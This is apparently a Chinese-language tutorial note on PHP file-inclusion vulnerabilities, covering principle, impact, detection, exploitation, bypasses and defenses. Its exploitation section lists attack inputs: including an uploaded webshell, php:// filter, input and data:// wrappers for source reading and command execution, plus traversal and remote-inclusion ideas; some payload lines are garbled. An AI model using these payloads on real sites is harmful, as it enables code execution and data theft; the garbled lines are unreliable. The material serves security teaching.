文件包含

文件包含

1.原理

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的检验,从而使攻击者操作了预想之外的文件

2.危害

可能会导致包含webshell,文件读取,命令执行等

3.判断和可能出现位置

a.判断

读取一个本地的文件看是否能去读取成功

b.可能出现位置

在file=参数,或者一个参数后跟着是文件名都可以试试

4.基础利用

- 直接包含webshell

?file=shell.jpg //可以用菜刀直接连接这个地址

- 利用php://filter/read协议

?filename=php://filter/read=convert.base64-encode/resource=1.php //读源码

- 利用php://input协议

?filename=php://input
post:’);?>
post: //命令执行

- 利用file://协议

?file=file://flag.php //读取文件

- 利用data://text/plain协议

?file=data://text/plain, //执行命令
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

5.bypass

a.直接读取不成功,考虑目录穿越,绕过目录穿越的waf
b.尝试远程文件包含,包含远程服务器上的文件连接或者写入webshell。

6.防御

关闭allow_url_include选项防止远程文件包含
关闭allow_url_fopen
对file的参数进行严格限制,使用白名单的方式

7.扩展

1)php文件包含相关函数

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()

2)JSP文件包含相关函数

  • java.io.File()
  • java.io.FileReader()

3)ASP文件包含相关函数

  • include file
  • include virtual

你可能感兴趣的:(#,web漏洞)